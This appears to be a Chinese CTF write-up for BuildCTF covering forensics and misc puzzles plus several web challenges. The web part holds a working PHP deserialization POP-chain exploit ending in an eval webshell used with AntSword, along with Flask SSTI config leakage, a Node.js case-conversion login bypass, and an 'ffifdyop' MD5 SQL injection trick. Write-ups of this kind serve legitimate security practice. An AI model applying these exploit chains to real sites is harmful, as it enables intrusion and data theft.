首页 > 其他分享 >BuildCTF-sorin-wp(part)

BuildCTF-sorin-wp(part)

时间:2024-11-09 08:56:50浏览次数:1  
标签:sorin file hex BuildCTF list part str 得到 public

BuildCTF部分题目wp

队员:sorin

  1. EZ_ZIP

1

010查找分析发现压缩包,使用foremost分离

2

3

疑似套娃压缩包,使用开源软件extractnow或者脚本都可以批量压缩,这里使用extractnow

4

得到flag

5

  1. HEX的秘密

16进制每两位截取一次转10进制,对比Build的前几个字符的ascll码发现多了128,脚本如下:

def hex_str(str):#对字符串进行切片操作,每两位截取  

    hex_str_list=[]  

    for i in range(0,len(str)-1,2):  

        hex_str=str[i:i+2]  

        hex_str_list.append(hex_str)  

    print("hex列表:%s\n"%hex_str_list)  

    hex_to_str(hex_str_list)  

 

def hex_to_str(hex_str_list):  

    int_list=[]  

    dec_list=[]  

    flag=''  

    for i in range(0,len(hex_str_list)):#把16进制转化为10进制  

        int_str=int('0x%s'%hex_str_list[i],16)  

        int_list.append(int_str)  

        dec_list.append(int_str-128)#-128得到正确的ascii码  

    for i in range(0,len(dec_list)):#ascii码转化为字符串  

        flag += chr(dec_list[i])  

    print("转化为十进制int列表:%s\n"%int_list)  

    print("-128得到ASCII十进制dec列表:%s\n"%dec_list)  

    print('最终答案:%s'%flag)  

 

if __name__=='__main__':  

    str='c2f5e9ece4c3d4c6fbb3c5fafadfc1b5e3a1a1dfe2e9eee1f2f9f9f9fd'  

    print("字符串长度:%s"%len(str))  

    hex_str(str)

运行即可

1

  1. what is this?

打开发现是一大串二进制码

1

转16进制

6363632c70707070702c6363707063702c702c636363632c63707070702c6363632c6363707063702c63707070702c63636363632c6363707063702c70702c70707070702c6370632c63636363632c632c6363707063702c706370632c70707070702c7063632c632c6363707063702c7063706370702c706370637070

转ascll:
33

逗号分割,两个字符,怀疑是摩斯,用在线网站:

https://morsecodemagic.com/zh/%e8%87%aa%e5%ae%9a%e4%b9%89%e6%91%a9%e5%b0%94%e6%96%af%e7%94%b5%e7%a0%81/

得到flag

4

  1. 别真给我开盒了哥

打开是一张道路图,重点关注路牌

1

信息有北京1km,右转去德州,S3901,出口60

在地图上搜索S3901

3

是京德高速,在b站上可以找到很新的高速pov

4

观察路段并没有发现出口60,且观察到主路上每个出口间的数字跳转很大,猜测可能路牌在其他路进入京德高速的路口上,很容易观察到在京德高速旁边有一条刚好旁边有铁路的道路S3700津雄高速

5

在b站上可以找到pov

6

成功找到路牌,确定位置,观察旁边的铁路

8

9

取津保铁路提交

  1. 四妹你听我解释

1

010打开末尾发现异常,提取txt

2

获得一部分密文,结合图片信息,进行宽高爆破

3

获得后半部分,社会主义核心价值观解密得到flag

5

  1. 四妹?还是萍萍呢?

解压发现是一些拼图和一个png图片

010分析发现password字眼

2

且IDAT块后面是0304,怀疑是压缩包,补上504B后用foremost提取

3

成功提取zip,提示公众号回复password

4

拼图得到

屏幕截图 2024-10-15 004023

公众号回复得到St7wg.

解压得到base64格式的乱码

5

用随波逐流转png格式得到图片

6

010分析提示crc错误,直接爆破crc修复宽高得到

7

  1. 如果再来一次,还会选择我吗?

010分析发现png格式两两倒转

1

提取为hex.txt,用记事本查找功能去除空格

2

脚本如下:

def reverse_hex_groups(input_file, output_file='flag.txt'):

    try:

        # 打开并读取输入文件

        with open(input_file, 'r') as file:

            hex_string = file.read().strip()  # 去除首尾空白符或换行符

        # 处理字符串:每两个字符为一组,然后每读取两组反转一次

        result = []

        for i in range(0, len(hex_string), 4):  # 每次跳过4个字符

            # 取出四个字符并反转前两组与后两组的位置

            group = hex_string[i:i+4]

            if len(group) == 4:

                reversed_group = group[2:] + group[:2]

                result.append(reversed_group)

            else:

                # 如果最后不足4个字符,则直接添加剩余部分

                result.append(group)

        # 将结果列表转换为字符串

        processed_hex = ''.join(result)

        # 将处理后的字符串写入输出文件

        with open(output_file, 'w') as file:

            file.write(processed_hex)

        print(f"处理完成,结果已保存至 {output_file}")

reverse_hex_groups('hex.txt')

得到正常文件

3

使用脚本移除换行符

# 读取文件并去除换行符

with open('flag.txt', 'r') as file:

    content = file.read().replace('\n', '')

# 将处理后的内容写回文件

with open('flag.txt', 'w') as file:

    file.write(content)

print("换行符已成功移除!")

得到

5

赛博厨子直接恢复文件

4

得到

3

用密码解压得到

损坏的条形码

4

这里分享一个能够自动检测修复条形码的网站

https://products.aspose.app/barcode/zh-hans/recognize#

5

这里顶着一大堆红线直接干出来了(不是

8、白白的真好看

解压得到

1

这边从docx文件入手,解除隐藏+改变字体颜色得到

6

接下来是0宽字符隐写,用在线网站

https://www.mzy0.com/ctftools/zerowidth1/

7

获得第二部分

接下来关注“公众号回复雪试试呢.png”文件,了解信息得到该图片为汉信码

https://tuzim.net/zxdecode/

解码得到

8

通过文件名“公众号”可知,该网址是由微信授权的,应当用微信能够解码的方式打开,于是将该解码内容加密为二维码

9

微信扫码回复雪得到密码snowsnow

解码可得第三部分 _1s_n0t_wh1t3}

9、LovePopChain

打开网站是一个经典的反序列化漏洞

1

链子如下:

<?php

class MyObject{

    public $NoLove;

    public $Forgzy;

    public function __wakeup()

    {

        if($this->NoLove == "Do_You_Want_Fl4g?"){

            echo 'Love but not getting it!!';

        }

    }

    public function __invoke()

    {

        $this->Forgzy = clone new GaoZhouYue();

    }

}

class GaoZhouYue{

    public $Yuer;

    public $LastOne;

    public function __clone()

    {

        echo '最后一次了, 爱而不得, 未必就是遗憾~~';

        eval($_POST['y3y4']);

    }

}

class hybcx{

    public $JiuYue;

    public $Si;

    public function __call($fun1,$arg){

        $this->Si->JiuYue=$arg[0];

    }

    public function __toString(){

        $ai = $this->Si;

        echo 'I W1ll remember you';

        return $ai();

    }

}

$M=new MyObject();

$M->NoLove=new hybcx();

$M->NoLove->Si=new MyObject();

$M->NoLove->Si->Forgzy=new GaoZhouYue();

echo urlencode(serialize($M));

?>

成功回显,这边要注意,No_Need.For.Love在赋值的时候务必要把_转成[,因为在传递参数时,’[‘会因为找不到’]’而被编成_,并连带这后面的字符一起原封不动的传递,这样就避免了后面的.在传参的过程中出现问题

2

直接使用蚁剑连接

3

得到flag4

  1. RedFlag

1

过滤了小括号,但是很重要的是它将flag放在config当中

使用内置函数url_for可以很好的绕过限制

传参

4

观察到

3

current应该指的是当前app,直接访问当前app的config

5

6

  1. Why_so_serials?

打开网站

1

很经典的反序列化逃逸

这里我们需要通过joker到batman的增加字符覆盖crime的内容,让它变成true

也就是让city的序列化内容

2

中的0变成1,观察到要覆盖的内容的字数为19,即joker19次,所以最终的payload为:

3

成功逃逸

4

  1. eazyl0gin

Node.js的大小写替换漏洞

5

使用特殊字符 ı 可以在转换大写时转化为I,从而绕过

密码直接在线网站破解md5得到012346

得到

7

13、ez_md5

进入页面

1

Sql加MD5,可以使用特殊值ffifdyop绕过

2

前两个参数直接使用数组绕过,第三个参数根据提示访问robots.txt得到

3

Hashcat爆破得到密码1145146803531

所以最终payload为(同样注意赋值传参问题

4

14、find-the-id

直接使用yakit抓包爆破

5

7

6

标签:sorin,file,hex,BuildCTF,list,part,str,得到,public
From: https://www.cnblogs.com/Yakas-sorin/p/18536284

相关文章

  • 雅思口语part1-20题
    Doyouworkorstudy?"I’mcurrentlystudyingforamaster’sdegreeinArtificialIntelligence.Ireallyenjoythechallengesthatcomewithmystudies,especiallywhenitinvolvesworkingonreal-worldprojectsthathavepracticalapplications.&qu......
  • 停课日志 part1 2024.10.21-10.25
    10.21次短路1.dijkstra用两个dist数组记录最短路和次短路适用条件:严格/非严格非简单2.dijkstra跑出最短路,保存路径,枚举删除路径上每一条边,跑最短路记录最大值。适用条件:非严格简单3.从起点s和终点t分别跑出最短路d1,d2,枚举图中每一条边<u,v>,计算(d1[u]+d2[v]+边权)的次大......
  • 代码随想录第七天|哈希表part02--454.四数相加II、383. 赎金信、15. 三数之和、18. 四
    资源引用:leetcode题目:454.四数相加Ⅱ(454.四数相加II-力扣(LeetCode))383.赎金信(383.赎金信-力扣(LeetCode))15.三数之和(15.三数之和-力扣(LeetCode))18.四数之和(18.四数之和-力扣(LeetCode))例行碎碎念:今天也追赶上了一些进度,虽然生病感冒,但今天很好的坚持了从早到晚......
  • GEE学习part5—图表函数与图表数据下载
    代码://方法三:GEE将计算公式封装为一个方法可以直接调用functionNDVI_V3(img){varndvi=img.normalizedDifference(["B8","B4"]);returnndvi;}//sentinel2androivars2_col=ee.ImageCollection("COPERNICUS/S2");varroi=ee.Geometry.Point([1......
  • Unity网络通信(part1.通信方案概述)
    目录前言弱联网和强联网游戏弱联网游戏强联网游戏长连接和短连接游戏短连接游戏长连接游戏Socket、HTTP、FTPSocketHttp/HttpsFTP总结前言        网络通信是服务器与Unity应用程序之间进行数据交换和通信的过程,这种通信在游戏开发、实时数据同步、多......
  • Unity网络通信(part2.通信必备知识)
    目录前言IPAddress类IPEndPoint类域名解析IPHostEntry类Dns类异步方法异步编程的好处注意事项前言        我们知道想要进行网络通信,进行网络连接,首先我们需要找到对应设备,IP和端口号是定位网络中设备必不可少的关键元素。C#中提供了对应的IP和端口相关的......
  • 代码随想录第四天|链表part02--24. 两两交换链表中的节点、19.删除链表的倒数第N个节
    资源引用:leetcode题目:24.两两交换链表中的节点(24.两两交换链表中的节点-力扣(LeetCode))19.删除链表的倒数第N个结点(19.删除链表的倒数第N个结点-力扣(LeetCode))面试题02.07.链表相交(面试题02.07.链表相交-力扣(LeetCode))142.环形链表Ⅱ(142.环形链表II-力扣(Leet......
  • Unity网络开发基础(part4.数据通信模型)
    目录前言数据通信模型分散式集中式分布式C/S模型B/S模型P2P模型总结前言        在Unity网络开发中,数据通信模型是实现客户端与服务端之间数据交换的核心。不同的数据通信模型具有不同的特点和适用场景,选择合适的模型对于实现高效、稳定的数据通信至关重......
  • Unity网络开发基础(part5.网络协议)
    目录前言网络协议概述OSI模型OSI模型的规则第一部分物理层数据链路层网络层传输层第二部分​编辑应用层表示层会话层每层的职能TCP/IP协议TCP/IP协议的规则TCP/IP协议每层的职能TCP/IP协议中的重要协议TCP协议三次握手四次挥手UDP协议TCP与UDP对比总......
  • group by | order by| distribute by| sort by| cluster by | partition by 的区别
    目录1、orderby 和groupby1.1、orderby:排序,属于全局排序1.2、goupby:分区2、distributeby、sortby、clusterby、partitionby2.1、distributeby:分组2.2、sortby: 强制排序2.3、partitionby:分组2.4、clusterby:(culsterby =distributeby......